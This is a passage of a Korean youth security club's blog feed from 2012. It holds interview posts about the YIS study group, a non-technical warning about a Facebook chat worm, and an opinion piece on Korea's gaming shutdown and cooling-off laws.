			<comments>http://iyounges.org/578#entry578comment</comments>
			<pubDate>Sat, 03 Mar 2012 23:40:00 +0900</pubDate>
		</item>
		<item>
			<title>YIS 온라인팀원으로 참가한 데일리시큐와 동아일보 인터뷰!</title>
			<link>http://iyounges.org/577</link>
			<description>&lt;br /&gt;
신기한건 전혀 의도하지 않았음에도 불구하고 인터뷰 두번받을때 제가 제일 강조받는건&lt;br /&gt;
속초에서 왔다는겁니다. 출신지역도 유명세를 탈지는 저도 몰랐습니다.&lt;br /&gt;
&lt;br /&gt;#1 데일리시큐 인터뷰&lt;br /&gt;
&lt;br /&gt;&lt;p style=&quot;margin:0&quot;&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile24.uf.tistory.com/original/162026424F4937DE297FA1&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile24.uf.tistory.com/image/162026424F4937DE297FA1&quot; alt=&quot;&quot; filemime=&quot;image/jpeg&quot; filename=&quot;YIS_DailySecu.jpg&quot; height=&quot;428&quot; width=&quot;570&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;br /&gt;기사 링크 :&amp;nbsp;
&lt;a href=&quot;http://www.dailysecu.com/news_view.php?article_id=1700&quot;&gt;http://www.dailysecu.com/news_view.php?article_id=1700&lt;br /&gt;
&lt;/a&gt;기사가 정말 멋있게 잘 쓰였습니다, 감사합니다. 길민권 기자님&lt;br /&gt;
&lt;br /&gt;#2 과학동아 인터뷰&lt;br /&gt;
&lt;br /&gt;&lt;p style=&quot;margin:0&quot;&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile4.uf.tistory.com/original/162D0C444F49385D1FB48F&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile4.uf.tistory.com/image/162D0C444F49385D1FB48F&quot; alt=&quot;&quot; filemime=&quot;image/jpeg&quot; filename=&quot;DSC_3825.jpg&quot; height=&quot;435&quot; width=&quot;650&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;br /&gt;저희 YIS팀과 런치킨팀이 맺은 정식 KSIA 연맹을 홍보하는 시간이 되었습니다. 기사는 5월 호에 좀 늦게 실리는&lt;br /&gt;
감이 없지 않아 있지만 오랜만에 팀원 전체가 모여 떠들 수 있었던 즐거운 시간이였습니다.&amp;nbsp;&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=26151906&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>YIS 활동</category>
			<category>YIS 활동</category>
			<category>과학동아</category>
			<category>데일리시큐</category>
			<category>인터뷰</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/577</guid>
			<comments>http://iyounges.org/577#entry577comment</comments>
			<pubDate>Sun, 26 Feb 2012 04:38:41 +0900</pubDate>
		</item>
		<item>
			<title>페이스북을 통한 신종 웜 전파 중! 24일 기준 국내 백신 진단불가능</title>
			<link>http://iyounges.org/576</link>
			<description>&lt;br /&gt;
최근 신종 페이스북 웜이 등장해 페이스북 채팅창을 통해 웜이 퍼지고 있는데&lt;br /&gt;
24일 기준으로 아직 이 신종 웜을 국내/외 백신에서 잡아내지 못하여 큰 문제를 삼고 있습니다.&lt;br /&gt;
&lt;br /&gt;이 백신은 페이스북에서 친구계정으로 &quot;Nice photo ~~~ (link) ~~&quot; 라는 영문메세지와 링크가 담긴 메세지가 함께 &lt;br /&gt;
날라오며, 이 대화에서 아무 거리낌 없이 링크를 실행하게되면 압축파일을 다운받고 압축을 풀게되면 com 확장자의 &lt;br /&gt;
악성파일이 실행되는데 문제는 친구이름으로 똑같이 날라온다는건데 이게 아직 발견된 피해는&amp;nbsp;없지만 자신의 &lt;br /&gt;
계정이 해킹당해 동일 메세지를 자신의 친구들에게 또 전달한다고 합니다.&lt;br /&gt;
&lt;br /&gt;또 페이스북 이외 야후 메신저, 구글톡으로 친구에게 동일한 메세지가 전송된다고 합니다.&lt;br /&gt;
어떤 피해가 일어났는지 아직 확인불가능 하지만 앞으로 이렇게 계속 퍼지면 예측할 수 없는 비상사태가&lt;br /&gt;
일어날거라고 예상하고 있으니 비슷한 상황이 발생하면 파일을 다운받으려고 하지 마시는걸 권유합니다.&lt;br /&gt;
&lt;br /&gt;이러한 페이스북 웜은 대표적으로 201년 9월 당시에도 유행한 적이 있었는데 쿡페이스 웜 변종 바이러스로 쪽지로&lt;br /&gt;
대량유포 되었던 사례가 처음이라 매우 유명했었던 웜이었습니다. 내용이 Hello, Hi, Cool + 바이러스 URL 로 이루어진&lt;br /&gt;
악성메일이 쪽지로 대량발송되어 확인하는경우 감염이 되어 사용자 개인정보가 유출되었습니다.&lt;br /&gt;
&lt;br /&gt;이 밖에 PC를 좀비 PC로 만들어 분산서비스거부(DDOS) 공격에 이용되는 변종 웹 바이러스도 발견되고 있습니다.&lt;br /&gt;
최근에 SNS 사용자가 점점 늘어나면서 각종 보안업체에서는 SNS 보안위협 증가를 경고하였습니다.&lt;br /&gt;
&lt;br /&gt;개인적으로 이런 부분은 백신에서 바로 잡지도 못하고 어떻게 바로 처리가 안되는 경우니깐 사람들의 좀 더 많은&amp;nbsp;&lt;br /&gt;
보안에 대한 관심이 많아야 된다고 생각합니다. 만약 사람들이 &quot;해킹? 괜찮겠지 설마~&quot; 하는 생각을 하지고 인터넷을&lt;br /&gt;
사용하면 아무리 우리나라 보안업체가 발전한다 하더라도 한국 IT 는 발전할 가능성이 없다고 생각합니다.&lt;br /&gt;
&lt;br /&gt;&lt;u style=&quot;color: rgb(85, 85, 85); font-family: NanumGothic, 나눔고딕, &#039;Malgun Gothic&#039;, &#039;맑은 고딕&#039;, 돋움, Dotum; font-size: 13px; line-height: 23px; text-align: justify; background-color: rgb(255, 255, 255); &quot;&gt;YIS 온라인 부팀장 김태욱 기자&lt;br /&gt;
xodnr631@naver.com&lt;/u&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=26207014&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>YIS 활동</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/576</guid>
			<comments>http://iyounges.org/576#entry576comment</comments>
			<pubDate>Sat, 25 Feb 2012 04:41:49 +0900</pubDate>
		</item>
		<item>
			<title>[데일리시큐] 어른들에게 던지는 한마디 “지금 뭐하세요?”</title>
			<link>http://iyounges.org/574</link>
			<description>&lt;br /&gt;
우연히 YIS 팀의 온라인 부팀장 자리를 맡게되었는데 기사까지 함께 나오게 되었습니다.&lt;br /&gt;
&lt;br /&gt;
링크 :&amp;nbsp;&amp;nbsp;&lt;a href=&quot;http://www.dailysecu.com/news_view.php?article_id=1700&quot;&gt;http://www.dailysecu.com/news_view.php?article_id=1700&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
----------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&lt;dd class=&quot;news_mtitle&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-size: 16px; line-height: 24px; text-align: justify; color: rgb(113, 113, 113); font-weight: bold; font-family: Dotum, Gulim, &#039;Verdana italic&#039;, sans-serif; &quot;&gt;[인터뷰] 청소년 IT보안 스터디 그룹 YIS와 런치킨&lt;br /&gt;
보안을 비롯해 IT 전 분야에 대한 청소년 스터디 그룹&lt;br /&gt;
“보안 교육받을 곳 거의 없어…그렇다면 우리가 앞장설 것!”&lt;br /&gt;
&lt;/dd&gt;&lt;dd class=&quot;news_text&quot; style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-size: 15px; line-height: 24px; text-align: justify; color: rgb(102, 102, 102); font-family: Dotum, Gulim, &#039;Verdana italic&#039;, sans-serif; &quot;&gt;세상은 그래도 살만하다는 생각이 드는 일들이 살다보면 한번씩 있다. 그래서 아직은 희망이 있다고 말하고 싶다. 청소년 IT보안 스터디 그룹인 ‘YIS(Youth IT Study)’ 그리고 ‘런치킨’ 맴버들과 15일 한국MS 미팅룸에서 만났다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
YIS는 비공식적으로 지난해 1월에 결성했으며 공식적인 활동은 지난해 6월부터 시작했다. 모두 8명이 회원이며 IT보안에 대해 온-오프라인 상에서 토론도 하고 기사도 작성하면서 청소년들의 올바른 보안문화 형성과 IT계몽에 앞장서고자 결성된 청소년 스터디그룹이다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
또 이날 런치킨 동아리 맴버도 같이 만날 수 있었다. 런치킨도 청소년 IT동아리로서 IT에 관심이 많은 고등학생들이 일주일에 2회 모여 자신이 좋아하는 분야에 대해 서로 의견도 교환하고 토론도 하고 C언어 등에 대해 같이 공부도 하는 모임이다. 이들의 주요 토론 주제로 다루는 이슈는 정보보안뿐만 아니라 게임, 프로그래밍 등 다양한 IT영역을 넘나들고 있다. 한편 YIS동아리와 런치킨 IT동아리는 보다 적극적인 IT계몽을 위해 상호 노력하자는 의미에서 연맹을 맺고 협력하고 있다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
다음은 YIS와 런치킨 동아리 맴버들과 나눈 대화 내용이다. 학생들이 말한 내용들을 가감없이 전달하도록 하겠다. &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: center; &quot;&gt;
&lt;img alt=&quot;&quot; src=&quot;http://www.dailysecu.com/imgserver/image/2012/201202/yis-1.jpg&quot; style=&quot;border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-width: initial; border-color: initial; border-image: initial; vertical-align: top; border-bottom-width: 1px; border-bottom-color: initial; border-left-width: 1px; border-left-color: initial; width: 570px; height: 428px; border-top-width: 1px; border-top-color: initial; border-right-width: 1px; border-right-color: initial; &quot;&gt;&lt;/div&gt;
&lt;div style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: center; &quot;&gt;
&amp;nbsp;&amp;lt;좌측부터 김시우, 최광준, 이규형, 강모대, 김태욱 학생&amp;gt;&lt;/div&gt;
&lt;br /&gt;
&lt;strong&gt;-&lt;span style=&quot;color: rgb(75, 0, 130); &quot;&gt;강모대&lt;/span&gt;=&lt;/strong&gt;(20살. 컴퓨터 보안 프로그래밍에 관심이 많은 학생이며 부평고를 졸업하고 한국기술교육대학교 입학예정)YIS는 IT에 관심이 많은 학생들의 동아리다. 온라인과 오프라인 팀원을 나눠 활동하고 있다. 온라인은 한주에 한번씩 각자 IT관련 기사를 작성하고 있으며 연말에는 기사들을 취합해 IT잡지를 만들 계획이다. 오프라인 모임은 한달에 한번 정기적으로 모여 한가지 주제를 정하고 주제와 관련된 발표와 토론형식으로 진행하고 있다. &amp;nbsp;&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
또 전국적으로 IT계몽 운동을 하기 위해 올 1월에 런치킨과 연맹을 맺었으며 추후에는 전국 IT동아리 연맹을 결성해 IT계몽운동에 더 많은 학생들이 동참할 수 있도록 만들어 갈 계획이다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
특히 런치킨과 같이 준비하는 것이 UCC 제작이다. 청소년 뿐만 아니라 가계각층의 국민들에게 IT에 대한 올바른 가치관과 보안의 중요성을 전달하기 위해 UCC를 제작할 계획이다. 이 부분은 김시우 팀원이 총괄하고 있다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&lt;strong&gt;-&lt;span style=&quot;color: rgb(0, 0, 128); &quot;&gt;김시우&lt;/span&gt;=&lt;/strong&gt;(18살. 수도전기공고 재학중. 보안과 멀티미디어분야에 관심) UCC를 만드는 목적은 보안에 대한 전문지식을 가지고 있는 사람들뿐 아니라 보안계몽이 필요한 각계각층의 사람들에게 우리의 뜻을 전달하기 위해서다. 네이트 해킹 이후 비밀번호를 변경하라고 했음에도 불구하고 여전히 많은 사람들이 비밀번호를 변경하지 않고 있다. 또 유출된 개인정보들이 게임사이트에 도용되고 있는 상황이다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
이렇게 되는 데는 두가지 이유가 있다고 생각한다. 하나는 사용자들의 보안의식이 너무 부족하기 때문이다. 또 하나는 정확한 보안관련 정보를 받을 기회가 없기 때문이라고 생각한다. 그래서 UCC를 통해 해킹을 당하면 어떤 피해를 입게되고 또 해킹을 당하지 않기 위해서는 어떻게 준비해야 하는지, 스마트폰을 안전하게 사용하기 위해서는 어떻게 해야하는지 등을 주제로 UCC연작을 만들 계획이다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
UCC제작은 동아리 회원들이 주인공이 될 것이고 배포는 안랩 V3 블로그나 유투브 등 다양한 소셜 사이트를 통해 배포하겠다. 또 모든 연령층이 공감할 수 있도록 쉽고 재미있게 제작할 예정이다. 현재 이 작업을 위해 맴버들이 계속 토론을 진행중이다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&lt;span style=&quot;color: rgb(128, 128, 128); &quot;&gt;(기자=정부에서&amp;nbsp;할 일을 우리 학생들이 이렇게 고민하고 있구나. 대견하면서도 제대로 못하고 있는 기성세대중 한사람으로 부끄러움.)&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&lt;strong&gt;-&lt;span style=&quot;color: rgb(0, 128, 0); &quot;&gt;이규형&lt;/span&gt;=&lt;/strong&gt;(18살. YIS 팀장. 안양평촌고 2학년 재학중. 컴퓨터 보안과 DDoS 공격에 관심) 보안에 관심이 많은 학생이다. 안랩에서 진행하는 V스쿨을 6기까지 참여했다. 안랩의 경우 700여명의 직원이 매일 12만개씩 만들어지는 신종 악성코드를 분석하고 막기엔 역부족이라는 말을 들었다. 분석을 못해 업데이트되지 못한 많은 악성코드들이 누적되면서 인해 공격을 받고 있다고 생각한다. 정부는 이런 상황인데도 정보보안이 중요하다고 말만하고 인력양성이나 인프라 구축에 투자를 하지 않는 것 같다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&lt;span style=&quot;color: rgb(128, 128, 128); &quot;&gt;(기자=방통위원장이나 KISA 원장을 모셔와 이 학생들의 답답한 심정을 한번 들어보라고 하고 싶을 정도였음.) &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&lt;strong&gt;-&lt;span style=&quot;color: rgb(255, 140, 0); &quot;&gt;최광준&lt;/span&gt;=&lt;/strong&gt;(19살. 런치킨 팀장. 서울양정고 3학년 재학중. 컴퓨터 보안과 시스템 운영쪽에 관심) 모바일에 대한 보안인식도 많이 부족한 것 같다. 스마트폰 사용 인구가 기하급수적으로 늘어나고 있는데 많은 사람들이 보안은 생각하지 않고 탈옥이나 루팅을 하고 있다. 이런 행위들이 보안에 어떤 영향을 미치는지 모르고 있다. 이런 경우 스마트폰 내의 개인정보가 쉽게 유출될 수 있으며 좀비화된 스마트폰을 이용해 대규모 DDoS 공격도 가능하다는 것을 청소년들이 모르고 있다. 이런 부분을 우리 동아리가 계몽해 나갈 것이다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
바이러스와 같은경우 러시아에서 개발하고 중국에서 다양한 변종이 만들어지며 결국 우리나라에서 테스트를 한다고 들었다. 그런데도 우리나라는 아직 보안인력도 부족하고 정부의 지원도 없는 것 같다. 특히 많은 청소년들은 PC나 스마트폰 등을 친숙하게 사용하고 있으면서도 어떻게 보안을 해야하는지 모르고 있다. 교육이 필요한데, 대부분 보안컨퍼런스나 세미나는 상업적인 것들이고 일반 학생들에게 보안교육을 하는 경우는 거의 없는 것이 문제라고 생각한다. 이런 교육만 적극적으로 이루어져도 사용자들의 보안상태는 지금보다 훨씬 좋아질 것이라고 확신한다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&lt;span style=&quot;color: rgb(128, 128, 128); &quot;&gt;(기자=대부분 돈벌자고 보안 컨퍼런스나 세미나 열고 있는 기업들과 매체들은 각성해야 한다. 하긴 이런 부분은 사기업들이 하긴 힘들 것이고 정부차원에서 보다 적극적으로 이루어져야 한다.)&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&lt;strong&gt;-&lt;span style=&quot;color: rgb(0, 128, 0); &quot;&gt;이규형&lt;/span&gt;=&lt;/strong&gt;보안관련 대형 사건 사고들이 많이 발생하는데 이제 웬만한 사건은 무감각해진 것 같다. 얼마전 네이버에서 바이러스를 유포하고 해킹툴을 팔고 있는 카페를 발견하고 경찰에 신고를 했는데 돌아오는 답변은 네이버에서 해당 카페를 접근 차단해서 수사를 못하겠다는 것이었다. 경찰이 의지만 있다면 네이버에 협조를 받아 카페운영자를 충분히 조사할 수 있었다고 생각한다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
특히 그 바이러스는 &#039;Death Hard&#039;라는 이름의 파일에 숨겨져 있었으며 사용자들이 이 악성파일을 실행할 경우 윈도우 인식이 안되는 문제를 유발하고 있었다. 실제 실행해 본 결과 XP의 경우 블루스크린과 함께 재부팅시 OS부팅이 불가했고, 윈도7의 경우 모든 데이터 읽기 쓰기가 작동되지 않고 컴퓨터를 정상 종료해도 종료되지 않으며 재부팅시 OS부팅 불가현상이 발생했다. 무엇보다도 이 바이러스는 AVG를 제외한 국내외 어떤 백신도 탐지하지 못한다는 것을 확인했다. 크래커가 아이콘이나 파일이름을 바꿔 재배포할 경우 심각한 문제를 유발할 수 있는 바이러스였다. 그래서 국정원에 신고했다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
현재 각종 포털에 이런 바이러스와 해킹툴을 유포하는 경우가 상당히 많다. 그런데도 경찰이나 정부는 이에 대한 대책도 없이 카페차단만 하고 있으니 계속 그런 카페가 만들어지고 있다고 생각한다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&lt;strong&gt;-&lt;span style=&quot;color: rgb(0, 0, 128); &quot;&gt;김시우&lt;/span&gt;=&lt;/strong&gt;옥션 사건 이후 뭔가 바뀔줄 알았는데 전혀 바뀌지 않은 것 같다. 여러 대형 사건으로 개인정보가 유출되면서 학생인 나한테도 대출문자가 오고 있다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&lt;span style=&quot;color: rgb(128, 128, 128); &quot;&gt;(기자=중학생인 우리 딸에게도 대출문자가 오는데 고등학생들에게도 당연히…)&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&lt;strong&gt;-&lt;span style=&quot;color: rgb(0, 128, 0); &quot;&gt;최광준&lt;/span&gt;=&lt;/strong&gt;아이들부터 청소년까지 대부분 컴퓨터를 많이 사용하고 있다. 하지만 사회에서나 학교에서나 컴퓨터를 안전하게 사용하는 방법에 대해서는 거의 교육 받을 곳이 없다. 런치킨동아리를 만든 목적도 바로 교육받을 곳이 없으니 우리들 스스로 해결해보고 우리의 지식을 다른 친구들과 공유하기 위해서다. 컴퓨터 안전 교육은 성인들도 필요하지만 우리 청소년들에게 더 필요한 교육이라고 생각한다. 학교에서도 교과서 제일 끝부분에 정보화사회 장단점만 잠깐 나오고 끝이다. 정부차원에서 청소년들에게 안전한 컴퓨터 사용에 대한 지속적인 교육을 실시한다면 지금보다 우리 사회의 보안수준이 더욱 높아질 것이다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&lt;strong&gt;-&lt;span style=&quot;color: rgb(0, 128, 128); &quot;&gt;김태욱&lt;/span&gt;=&lt;/strong&gt;(18살. 강원도 속초고 2학년 재학중. 컴퓨터 전반과 시스템 해킹 공부중) YIS 온라인 모임을 책임지고 있다. 지방에 있어 한 곳에 모이기 힘든 학생들이 온라인에서 자신의 블로그와 카페 &amp;nbsp;그리고 V스쿨에 1주일에 1건 이상 정보들을 올린다. 또 올라온 글 중에 자기 주관적 생각을 잘 표현한 좋은 글들은 선별해서 연말에 잡지로 만들어 배포할 계획도 가지고 있다. 그래서 많은 학생들이 맴버들의 글을 보고 도움이 되었으면 하는 바람이다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
한국은 자칭 IT강국이라고 말한다. 인터넷 속도와 스마트폰 보급률, 삼성과 LG와 같은 대형 모바일 제조사들이 있어 그런 것 같다. 하지만 그동안 신경쓰지 못했던 보안문제가 계속 터지면서 보안의 중요성도 커지고 있지만 여전히 일반인들은 관심이 부족하다고 생각한다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
언론 기사들도 보면 해커(취약점을 찾아 보안에 도움을 주거나 순수한 연구자)와 크래커(사이버 범죄자), 해킹과 크래킹의 차이도 모르고 기사를 쓰는 것 같다. 그래서 컴퓨터 해킹 공부를 한다고 하면 어른들이 싫어한다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
또 정부는 항상 사건이 터지면 대책을 내놓거나 법을 만든다. 피해를 당하고 난 뒤에 대책을 마련하는 것보다 선행적인 보안이 이루어질 수 있도록 평상시에 교육과 인재양성, 투자 등이 이루어졌으면 좋겠다. 독일은 일반 가정에서 와이파이를 사용할 때 별도의 비밀번호를 지정하지 않으면 벌금이 500만원이라고 들었다. 이런 작은 부분까지 정부의 손길이 미쳐야 사회 전반적인 보안문화가 자리 잡을 수 있을 것이다. 정부의 노력이 필요하다. 우리의 힘이 아직은 미약하지만 도화선이 될 수 있도록 열심히 노력할 것이다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
이외에도 학생들은 사이버상에 문제가 생겨 KISA나 경찰 등에 신고를 하고 싶어도 절차가 너무 어렵다고 토로했다. 또 요즘 이슈가 되는 셧다운제에 대해 토론을 한 후 여가부에 전화를 해 왜 셧다운제를 시행했냐고 물어봐도 논리적인 설명도 없이 “그냥 법이니깐 무조건 따라라”는 식이어서 실망스웠다고 한다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
그리고 해킹으로 경찰 조사를 받는 학생들이 대부분 “이게 죄가 되는지 몰랐다”고 말하는 것은 그만큼 교육이 부족했기 때문이라고 지적했다. 더불어 학생들이 컴퓨터 보안과 보안의 중요성을 배울 수 있는 곳이 해커스쿨에서 개최하는 해킹캠프와 안랩의 V스쿨 밖에 없다고 아쉬워했다. 정부에서 각급 학교에 지원을 해줘서 학교별로 이런 캠프가 열렸으면 좋겠다고 한목소리를 냈다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
또 YIS가 청소년 동아리이기 때문에 대학을 진학하면 회원이 될 수 없다. 하지만 대학을 가서도 대학에서 이와 같은 동아리를 만들어 현재 청소년 동아리와 연맹을 맺어 지속적인 활동을 해나가겠다고 다짐했다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
&lt;strong&gt;-기자의 생각=&lt;/strong&gt;기자는 놀랐다. 이렇게 사회를 위해 고민하고 올바른 사고방식을 가진 청소년들이 의외로 많다는 것을 이번 기회에 새삼 느끼게 됐다. 솔직히 인터뷰 전에는 도대체 어떤 의견들이 나올지 내심 걱정스럽기도 했지만 인터뷰를 진행하면서 이 학생들의 진정성과 의지가 또렸이 느껴져 참 기분이 흐뭇해졌다.&lt;br /&gt;
&amp;nbsp;&lt;br /&gt;
이 학생들은 기성세대들이 해주지 않는다면 우리가 나서서 하겠다는 의젓한 포부를 가지고 있다. 정부, 방통위, KISA, 기업, 학교, 언론 모두가 이들에게 미안해 해야한다. “그래도 우리 나름대로 했는데…”라고 말하지말자. 모두 형식적이었고 보여주기식 혹은 성과내기 혹은 생색내기 혹은 돈벌이를 위한 퍼포먼스가 아니었는가 말이다. 보안을 ‘그들만의 리그’로 만들지 말자. 인터뷰 내내 기기자 느낀 것은 “(답답하다는 어투로)어른신들 지금 도대체 뭐하세요?!”였다. 이 학생들이 말하는대로 보안이 사회 전반에 뿌리내릴 수 있도록 만들어가는 것은 이 학생들의 몫이 아니라 우리의 몫이다.&lt;br /&gt;
[데일리시큐=길민권 기자]&amp;nbsp;&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
[저작권자 ⓒ데일리시큐 무단 전재-재배포 금지]&lt;/dd&gt;&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=25783828&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>다이어리</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/574</guid>
			<comments>http://iyounges.org/574#entry574comment</comments>
			<pubDate>Fri, 17 Feb 2012 02:32:37 +0900</pubDate>
		</item>
		<item>
			<title>셧다운제도와 쿨링오프제, 과연 올바른 방법일까?</title>
			<link>http://iyounges.org/573</link>
			<description>&lt;br /&gt;
&lt;span style=&quot;font-size: 8pt; &quot;&gt;저의 주관적인 생각이 많이 들어갔으며 중립적인 위치보단 제 의견을 많이 첨부해 작성했습니다.&lt;br /&gt;
최근 IT 이슈를 두고 이슈에 대한 정확한 내용과 제 의견을 담는 기사입니다.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;font color=&quot;#e31600&quot;&gt;셧다운제도란&lt;/font&gt;, 16세 미만의 청소년에게 심야시간의 인터넷 게임 제공을 제한하는 제도이다. 셧다운(shutdown)제의 골자는 ‘16세 미만의 청소년에게 오전 0시부터 오전 6시까지 심야 6시간 동안 인터넷 게임 제공을 제한한다’는 것이다. 인터넷게임을 서비스하는 업체들은 이 시간대에 연령과 본인 인증을 통해 청소년 게임 이용을 강제로 원천차단해야 한다.&lt;div&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;font color=&quot;#e31600&quot;&gt;쿨링오프제란&lt;/font&gt;, 게임에 처음 접속 후 2시간 이후 강제로 접속이 종료되고 10분후 1번에 한하여 다시 접속이 가능한 제도입니다.&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: 12pt; &quot;&gt;&lt;span style=&quot;font-family: Arial; &quot;&gt;&lt;span style=&quot;font-family: Verdana; &quot;&gt;&lt;span style=&quot;font-family: &#039;Arial Black&#039;; &quot;&gt;&lt;span style=&quot;font-family: Gulim; &quot;&gt;&lt;span style=&quot;font-size: 10pt; &quot;&gt;&lt;span style=&quot;font-size: 9pt; &quot;&gt;여성부에서 운영하는 셧다운제도와 교육과학기술부에서 추진하고 있는 쿨링오프제 입니다. 셧다운제는 &lt;u&gt;16세 미만의 청소년들이 게임을 계속 하는 경우 12시에 게임이 강제종료&lt;/u&gt; 되며 쿨링오프제는 설명되어있는 그대로 게임에 접속하면&amp;nbsp;&lt;u&gt;2시간, 그리고 1번의 재접속 즉 하루에 게임을 4시간&lt;/u&gt;&amp;nbsp;할 수 있게하는 제도입니다.&lt;br /&gt;
&lt;br /&gt;
시행 전은 물론 첫날부터 말이 많았던 셧다운제에 이어 쿨링오프제 또한 청소년들의 많은 반발을 불러오고 있는 가운데,&lt;br /&gt;
이번 쿨링오프제 시행에 대해서는 게임업계들이 직접 반대의견을 내세우고 있습니다, 대한민국에서 청소년 들이 할 수 있는 게임은 온라인게임 뿐만이 아닙니다, 수입게임들도 자리잡고 있으며 오히려 온라인게임들보다 더 폭력적인 게임들이 많습니다. 만약 이대로 계속 시행이 된다면 현재 발전하고 있는 대한민국 게임산업은 엄청난 타격을 받을것이며 남아있던 외국 게임업계들도 시간이 지나면 모두 한국을 기피하고 게임산업이 망할 가능성 또한 있습니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://game.inews24.com/php/news_view.php?g_serial=636430&amp;amp;g_menu=020500&amp;amp;rrf=nv&quot;&gt;http://game.inews24.com/php/news_view.php?g_serial=636430&amp;amp;g_menu=020500&amp;amp;rrf=nv&lt;/a&gt;&amp;nbsp;&lt;br /&gt;
&lt;a href=&quot;http://www.mdtoday.co.kr/mdtoday/index.html?no=177308&quot;&gt;http://www.mdtoday.co.kr/mdtoday/index.html?no=177308&lt;/a&gt;&amp;nbsp;&lt;br /&gt;
&lt;a href=&quot;http://esports.dailygame.co.kr/news/read.php?id=56062&quot;&gt;http://esports.dailygame.co.kr/news/read.php?id=56062&lt;/a&gt;&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
